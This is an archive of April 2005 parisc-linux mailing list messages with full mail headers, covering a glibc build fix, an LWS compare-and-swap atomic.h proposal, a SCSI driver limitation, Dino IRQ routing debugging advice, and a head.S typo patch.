Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03817-08; Fri, 15 Apr 2005 09:32:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DBA77D6B1;
	Fri, 15 Apr 2005 09:32:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D10A27D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:31:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03822-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:31:56 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3E47A7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:31:56 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMRqH-0000R4-00; Fri, 15 Apr 2005 10:30:45 -0400
Content-Disposition: inline
In-Reply-To: <200504091719.j39HJZKK023228@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: puoKKvpKTlIVFbeQeGhrHlVBU2poZVmQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22637

On Sat, Apr 09, 2005 at 01:19:35PM -0400, John David Anglin wrote:
> Well, your analysis in 17471 didn't convince me that a gcc code generation
> bug was involved.  I believe that if you try the change below that glibc
> will build with 3.3 and 3.4.  There was a warning generated by GCC.
> 
> I thought this was fixed in glibc.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> 
> --- dl-machine.h.orig	2004-10-22 20:01:03.000000000 -0700
> +++ dl-machine.h	2004-10-22 21:32:30.000000000 -0700
> @@ -260,6 +260,7 @@
>  
>  #define RTLD_START \
>  /* Set up dp for any non-PIC lib constructors that may be called.  */	\
> +static struct link_map *set_dp (struct link_map *) __attribute__ ((used));\
>  static struct link_map *						\
>  set_dp (struct link_map *map)						\
>  {									\

It *is* fixed, if you look at the patches I posted that is part of the
diff against dl-machine.h.

Note: gcc 3.5 or higher is now required to build glibc.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D380: ccio-dma issue for 64bit kernel?
Date: Fri, 15 Apr 2005 09:22:05 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1113574926.5009.6.camel@mulgrave>
References: <420889870001AEAE@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623760 13972 80.91.229.3 (22 Nov 2014 02:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:00 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 14:23:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 15 Apr 2005 16:23:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BED657D681;
	Fri, 15 Apr 2005 08:22:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02783-02; Fri, 15 Apr 2005 08:22:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7CBD7D683;
	Fri, 15 Apr 2005 08:22:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B4567D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 08:22:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02625-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 08:22:50 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 5D0FB7D668
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 08:22:50 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j3FEM6A22506; Fri, 15 Apr 2005 10:22:07 -0400
In-Reply-To: <420889870001AEAE@mail-4-bnl.tiscali.it>
X-Mailer: Evolution 2.0.4 (2.0.4-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: o+8EA91rfW4SC+WveGVoLG5hdmllcgVV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22638

On Fri, 2005-04-15 at 11:44 +0200, Joel Soete wrote:
> ncr53c720-0: rev 0xf irq 66
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> scsi0 : ncr53c8xx-3.4.3g
> scsi: Device offlined - not ready after error recovery: host 0 channel 0
> id 0 lu

This too is known.  The ncr53c8xx driver doesn't work in 64 bit mode.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RC] Integrate LWS CAS into hppa-linux glibc.
Date: Fri, 15 Apr 2005 12:58:59 -0400
Lines: 121
Approved: news@gmane.org
Message-ID: <20050415165859.GC26980@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623760 13974 80.91.229.3 (22 Nov 2014 02:36:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 17:59:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 15 Apr 2005 19:59:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6967C7D6D0;
	Fri, 15 Apr 2005 11:59:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05930-06; Fri, 15 Apr 2005 11:59:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 786F57D6D2;
	Fri, 15 Apr 2005 11:59:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67B467D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 11:59:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05930-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 11:59:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C92AF7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 11:59:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMU9k-00017e-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 12:59:00 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /7FUdsZYTiEXBayUaGRwIXFyZUVSRNfZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22639


pa,

I have checked in a test into userspace/test-lws in CVS in order to
verify that my glibc implementation actually works before integrating it
with the build.

The test is 'atomic-test' and it makes use of 'atomic.h' which will be
added to the hppa-linux glibc build. Not in debian, but in a local
experimental build to check for regressions (and do more testing).

Can someone look at the code and give some comments?
Would it be clearer if I spelled out exactly how LWS CAS works and add
it to the wiki?

Note: I would rather have the LWS CAS return to userspace instead of
spinning on the gateway page, largely because we can't deliver signals
or schedule while it sits on the gateway.

c.

---
/* Copyright (C) 2003 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   Contributed by Carlos O'Donell <carlos@baldric.uwo.ca>, 2005.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, write to the Free
   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
   02111-1307 USA.  */

#include <asm/errno.h>
#include <abort-instr.h>

#ifndef _BITS_ATOMIC_H
#define _BITS_ATOMIC_H	1

/* Use the kernel atomic light weight syscalls on hppa */ 

#define LWS "0xb0"
#define LWS_CAS 0x0
#define LWS_CLOBBER "r26", "r25", "r24", "r23", "r22", "r20", "r28", "r21", "memory"

/* prev = *addr;
   if (prev == old)
     *addr = new;
   return prev; */

/* The only basic operation needed is compare and exchange.  */
#define atomic_compare_and_exchange_val_acq(mem, newval, oldval) 	\
  ({									\
     int lws_errno = EAGAIN;						\
     int lws_ret;							\
     /* Catch bad users address, preread */				\
     lws_ret = *(int *)mem;						\
     while (lws_errno == EAGAIN)					\
     	lws_ret = lws_atomic_compare_and_swap(&lws_errno, LWS_CAS, 	\
						(unsigned int)mem,	\
						oldval, newval);	\
     if(lws_errno == EFAULT)						\
     	ABORT_INSTRUCTION;						\
     lws_ret;								\
   })

/* Implement compare_and_swap using a light-weight syscall */
#define lws_atomic_compare_and_swap(lws_errno, lwsnum, in0, in1, in2)	\
  ({									\
    int retval;								\
    int error;								\
    /* Make light-weight syscall */					\
    asm volatile(							\
	"copy   %3, %%r26\n\t"						\
	"copy   %4, %%r25\n\t"						\
	"copy   %5, %%r24\n\t"						\
	"ble    " LWS "(%%sr2, %%r0)\n\t"				\
	"copy   %2, %%r20\n\t"						\
	"stw    %%r28, %0\n\t"						\
	"stw    %%r21, %1\n\t"						\
	: "=m" (retval), "=m" (error)					\
        : "r" (lwsnum), "r" (in0), "r" (in1), "r" (in2)			\
	: LWS_CLOBBER							\
     );									\
    /* Set error */							\
    *lws_errno = (-1)*error;						\
    /* Equivalent return of the function */				\
    retval;								\
   })


#define atomic_compare_and_exchange_bool_acq(mem, newval, oldval) \
  ({									\
     int lws_errno = EAGAIN;						\
     int lws_ret;							\
     /* Catch bad users address, preread */				\
     lws_ret = *(int *)mem;						\
     while (lws_errno == EAGAIN)					\
     	lws_ret = lws_atomic_compare_and_swap(&lws_errno, LWS_CAS, 	\
						(unsigned int)mem,	\
						oldval, newval);	\
     if(lws_errno == EFAULT)						\
     	ABORT_INSTRUCTION;						\
     lws_ret == oldval;							\
   })

#endif	/* bits/atomic.h */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class and j3514A (tulip dual 100mbit tulip)
Date: Thu, 21 Apr 2005 00:45:03 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20050421064503.GB26004@colo.lackof.org>
References: <20050420143849.GB30984@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623761 13996 80.91.229.3 (22 Nov 2014 02:36:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Anders <dizzey@ing.umu.se>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2005 06:42:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 Apr 2005 08:42:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 112CA7D60F;
	Thu, 21 Apr 2005 00:42:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10563-08; Thu, 21 Apr 2005 00:42:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 16F667D626;
	Thu, 21 Apr 2005 00:42:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D609D7D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Apr 2005 00:42:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10695-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Apr 2005 00:42:40 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 639B87D415
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Apr 2005 00:42:40 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A0C2C29804C;
	Thu, 21 Apr 2005 00:45:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26037-09; Thu, 21 Apr 2005 00:45:03 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 414E229803C; Thu, 21 Apr 2005 00:45:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050420143849.GB30984@ing.umu.se>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: my4VYvYheSE57L6WZHQhaXN2IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22640

On Wed, Apr 20, 2005 at 04:38:50PM +0200, Anders wrote:
> Linux Tulip driver version 1.1.13 (December 15, 2004)
> tulip0:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
> eth1: Digital DS21140 Tulip rev 34 at 80000080, 00:30:6E:27:99:EC, IRQ 
> 20.
> tulip1:  MII transceiver #1 config 3100 status 786b advertising 01e1.
> eth2: Digital DS21140 Tulip rev 34 at 80000100, 00:30:6E:27:99:ED, IRQ 
> 21.
> 
> but when i try to ping something it gives me
> Dino 0xf1000000: stuck interrupt 2
> Dino 0xf1000000: stuck interrupt 6

IRQ routing is wrong. The card-mode dino support probably needs 
some love since we switched from the home-brew "IRQ region" support
I hacked together 5 years to the "generic" IRQ support willy
switched us over to late last year.

Feel free to hack around on drivers/parisc/dino.c.
Key part is in dino_isr() has to lookup the global index
before calling __do_IRQ(). IRQ 20 is obviously not connecting
to "stuck interrupt 2".

Issue is likely something in how dino_device.global_irq[] array
is (or is not) getting initialized in dino_assign_irq().
Particularly when dino_assign_irq() is called from dino_fixup_bus().

Enable DINO_DEBUG and see if you need to add more printk's to
sort that out.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] head.S: a small typo
Date: Thu, 21 Apr 2005 08:39:13 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <420889870001DAD9@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623761 14017 80.91.229.3 (22 Nov 2014 02:36:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2005 06:39:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 21 Apr 2005 08:39:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAC317D615;
	Thu, 21 Apr 2005 00:39:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10563-01; Thu, 21 Apr 2005 00:39:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8B8E7D423;
	Thu, 21 Apr 2005 00:39:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F13EC7D424
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Apr 2005 00:39:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10476-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Apr 2005 00:39:21 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 5604E7D420
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Apr 2005 00:39:21 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43) id 1DOVLG-0007tg-Ug
	for parisc-linux@lists.parisc-linux.org; Thu, 21 Apr 2005 08:39:18 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Thu, 21 Apr 2005 08:39:13 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YykVYsoEeSE57L6WZHQhaXN2IGRvbwCW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22641

Hi all,

I just noticed this small typo:
--- arch/parisc/kernel/head.S.Orig      2005-04-20 18:46:57.000000000 +02=
00
+++ arch/parisc/kernel/head.S   2005-04-21 08:28:11.000000000 +0200
@@ -260,7 +260,7 @@
 
        .align          256
 aligned_rfi:
-       ssm             0,0
+       ssm             0, %r0
        nop             /* 1 */
        nop             /* 2 */
        nop             /* 3 */
=3D=3D=3D=3D<>=3D=3D=3D=3D

Hth,
    Joel

PS: is there some insterest in some white space cleanup in those *.S 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Fri, 22 Apr 2005 00:36:49 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20050422063649.GB13389@colo.lackof.org>
References: <420889870001DAD9@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623762 14024 80.91.229.3 (22 Nov 2014 02:36:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
